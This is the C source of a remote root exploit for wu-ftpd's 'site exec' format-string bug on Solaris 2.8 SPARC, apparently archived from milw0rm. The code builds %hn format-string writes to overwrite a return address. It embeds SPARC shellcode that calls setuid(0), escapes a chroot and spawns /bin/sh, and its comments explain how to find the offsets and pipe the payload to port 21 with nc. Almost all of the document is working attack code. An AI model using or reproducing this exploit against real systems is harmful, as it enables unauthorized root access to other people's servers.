/* ** ** 12:40 11/10/00: Tool for either attack or defense ** within an information warfare setting. Rather, it ** is a small program demonstrating proof of concept. ** Default values for solaris 2.8 and inetd. ** ** If you are not the intended recipient, or a person ** responsible for delivering it to the intended ** recipient, you are not authorised to and must not ** disclose, copy, distribute, or retain this message ** or any part of it. Such unauthorised use may be ** unlawful.If you have received this transmission in ** error,please email us immediately at [email protected] ** so that we can arrange for its return. ** ** kalou <[email protected]> ** ** Usage: ** ** 0xfdc (4060) bytes after the ret position, you have: ** ** -HOSTNAME: anonymous/EGGSHELL ** ** This of course begins on a 4 bytes boundary. ** ** Check your hostname len. Align this with pad to have EGGSHELL on a ** 4 bytes boundary (-p). Localhost needs 2 bytes, for example. ** ** Use '%s' format bug exploitation to look for this string in memory. ** (you have to eat 15 words out of stack). ** ** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer. ** This substracted value is kept as the distance (-d). ** Result is your return address position (-w). Check it if you want. ** ** This code substracts 8 to this address (sparc ret behaviour). ** ** You may use the 102th %p pointer on stack to find the string. eg: ffbef640. ** ** adding 0x870 to this value, I found my string. ** ** offset should be useless. site_padding depends on the '/bin/ftp-exec/' ** config stuff. ** ** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21 ** */ /* Stolener Foundation */ #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef __linux #include <getopt.h> #endif void *build_format_string(int where, int what, int gout, int eat, int pad) { int expected_len; int what1, where1; int what2, where2; char w1[512]; char w2[512]; int i; char *buf, *p; /* generate two %hn len : */ what1 = (what >> 16) & 0xffff; what2 = what & 0xffff; fprintf(stderr, "what1: %0x\n", what1); fprintf(stderr, "what2: %0x\n", what2); if ( what1 > what2 ) { where1 = where + 2; where2 = where; what1 -= what2; } else { where1 = where; where2 = where + 2; what2 -= what1; } fprintf(stderr, "removing %d.\n", pad + 2 * sizeof(where) + gout + (eat - 1) * 12); if (where1 < where2) { what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout; } else { what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout; } fprintf(stderr, "%08x: writing first %s\n", what, (where1 > where2) ? "what2" : "what1"); fprintf(stderr, "what1 is %08x, what2 is %08x\n", what1, what2); sprintf(w1, "%%0%dx%%hn", what1); sprintf(w2, "%%0%dx%%hn", what2); fprintf(stderr, "1: %s\n2: %s\n", w1, w2); /* calculate expected len : */ expected_len = pad + 12 + (eat - 1) * 8 + strlen(w1) + strlen(w2) + 1; fprintf(stderr, "len is %d\n", expected_len); buf = (char *) malloc(expected_len); if ( buf == NULL) return buf; p = buf; /* pad */ for (i = 0; i < pad; i++) { *p++ = '.'; } /* retaddr, part 1 - first %hn*/ *p++ = (where1 >> 24) & 0xff; *p++ = (where1 >> 16) & 0xff; *p++ = (where1 >> 8) & 0xff; *p++ = (where1) & 0xff; *p++ = 0x0f; *p++ = 0x0e; *p++ = 0x0e; *p++ = 0x0f; /* so that the first %0(much)x eats something /* retaddr, part 2 - second %hn */ *p++ = ((where2) >> 24) & 0xff; *p++ = ((where2) >> 16) & 0xff; *p++ = ((where2) >> 8) & 0xff; *p++ = (where2) & 0xff; /* eaters.. */ for (i = 0; i < (eat - 1); i++) { strcpy(p, "%000012x"); p += 8; } /* what1, what2 */ if (what1 > what2) { strcpy(p, w1); strcpy(p + strlen(w1), w2); } else { strcpy(p, w2); strcpy(p + strlen(w2), w1); } return buf; } void *ftp_escape(void *buf) { void *boh; char *p = buf; char *r; boh = malloc(4096); r = boh; while (*p) { *r++ = *p; if ((*p) == '\xff') *r++ = *p; p++; } *r = '\0'; return boh; } void usage(char *me) { fprintf(stderr, "Usage : %s \n" " [-w where (hexa) ] /* ret position */\n" " 0 [-o offset ] /* or just offset, or both */\n" "1010 [-d distance (hex)] /* distance to pass */\n" " 2 [-s site_pad ] /* padding to site_exec */\n" " 3 [-p pass_pad ] /* padding to eggshell */\n" " 4 [-g gout ] /* output size (200-) */\n" " 15 [-e eat ] /* pointers to eat */\n\n\n", me); exit(0); } main(int argc, char **argv) { char c; int where, offset, distance, gout, site_pad, pass_pad, eat; char *buf; char break_sparc[] = "\x90\x1b\xc0\x0f" // xor %o7, %o7, %o0 "\x82\x10\x20\x17" // mov 23, %g1 "\x91\xd0\x20\x08" // ta 8 ! setuid(0) "\xae\x10\x20\x2e" // mov 0x2e, %l7 "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x82\x10\x20\x05" // mov 5, %g1 "\x92\x1b\xc0\x0f" // xor %o7, %o7, %o1 "\x91\xd0\x20\x08" // ta 8 ! fd = open(".", 0); "\xa6\x82\x20\x01" // addcc %o0, 1, %l3 ! "\xae\x10\x20\x6b" // mov 0x6b, %l7 "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x92\x10\x21\xff" // mov 0x1ff, %o1 "\x82\x10\x20\x50" // mov 0x50, %g1 "\x91\xd0\x20\x08" // ta 8 ! mkdir("k", 0755) "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x82\x10\x20\x3d" // mov 0x3d, %g1 "\x91\xd0\x20\x08" // ta 8 ! chroot("k") "\x90\x24\xe0\x01" // sub %l3, 1, %o0 "\x82\x10\x20\x78" // mov 0x78, %g1 "\x91\xd0\x20\x08" // ta 8 ! fchdir(fd) "\x2f\x0b\x8b\x8b" // sethi %hi(0x2e2e2c00), %l7 "\xae\x15\xe3\x2e" // or %l7, 0x32e, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! ../. "\x2f\x0b\xcb\x8b" // sethi %hi(0x2f2e2c00), %l7 "\xae\x15\xe2\x2f" // or %l7, 0x22f, %l7 "\xee\x23\xbf\xd4" // st %l7, [ %sp - 44 ] ! /../ "\xee\x23\xbf\xd8" // st %l7, [ %sp - 40 ] "\xee\x23\xbf\xdc" // st %l7, [ %sp - 36 ] "\xee\x23\xbf\xe0" // st %l7, [ %sp - 32 ] "\xee\x23\xbf\xe4" // st %l7, [ %sp - 28 ] "\xee\x23\xbf\xe8" // st %l7, [ %sp - 24 ] "\xee\x23\xbf\xec" // st %l7, [ %sp - 20 ] ! .././..//..//../(ad lib) "\xc0\x23\xbf\xf0" // clr [ %sp - 16 ] "\x82\x10\x20\x0c" // mov 0xc, %g1 "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x91\xd0\x20\x08" // ta 8 ! chdir(".././../...") "\xae\x10\x20\x2e" // mov 0x2e, %l7 "\xaf\x2d\xe0\x18" // sll %l7, 24, %l7 "\xee\x23\xbf\xd0" // st %l7, [ %sp - 48 ] ! stupido. anyway. "\x90\x23\xa0\x30" // sub %sp, 48, %o0 "\x82\x10\x20\x3d" // mov 0x3d, %g1 "\x91\xd0\x20\x08" // ta 8 "\x2d\x0b\xd8\x9a" // sethi %hi(0x2f62696e), %l6 ! no more mine. "\xac\x15\xa1\x6e" // or %l6, %lo(0x2f62696e), %l6 "\x2f\x0b\xdc\xda" // sethi %hi(0x2f736800), %l7 "\x90\x0b\x80\x0e" // and %sp, %sp, %o0 "\x92\x03\xa0\x08" // add %sp, 8, %o1 "\x94\x1b\xc0\x0f" // xor %o7, %o7, %o2 "\x9c\x03\xa0\x10" // add %sp, 16, %sp "\xec\x3b\xbf\xf0" // std %l6, [%sp-16] "\xd0\x23\xbf\xf8" // st %o0, [%sp-8] "\xc0\x23\xbf\xfc" // st %g0, [%sp-4] "\x82\x10\x20\x3b" // mov 59, %g1 "\x91\xd0\x20\x08" // ta 8 "\x91\xd0\x20\x08"; // ta 8 offset = 0; where = 0xffbeeed4; distance = 0x1004; gout = 4; eat = 15; site_pad = 2; pass_pad = 3; while ( ( c = getopt(argc, argv, "w:o:d:e:g:s:p:") ) != EOF ) { switch(c) { case 'w': where = strtoul(optarg, NULL, 16); break; case 'o': offset = atoi(optarg); break; case 'd': distance = strtoul(optarg, NULL, 16); break; case 'e': eat = atoi(optarg); break; case 'g': gout = atoi(optarg); break; case 's': site_pad = atoi(optarg) % 4; break; case 'p': pass_pad = atoi(optarg) % 4; break; default: usage(argv[0]); } } where += offset; fprintf(stderr, "ret [%x]:%x\n" "ppad %d\n" "spad %d\n" "gout %d\n" "eat %d\n", where, where + distance, pass_pad, site_pad, gout, eat); printf("user ftp\n"); buf = ftp_escape(break_sparc); printf("pass %.*s%s\n", pass_pad, "xxxx", buf); buf = build_format_string(where, where + distance - 8, gout, eat, site_pad); buf = ftp_escape(buf); printf ("site exec %s\n", buf); } // milw0rm.com [2001-01-03]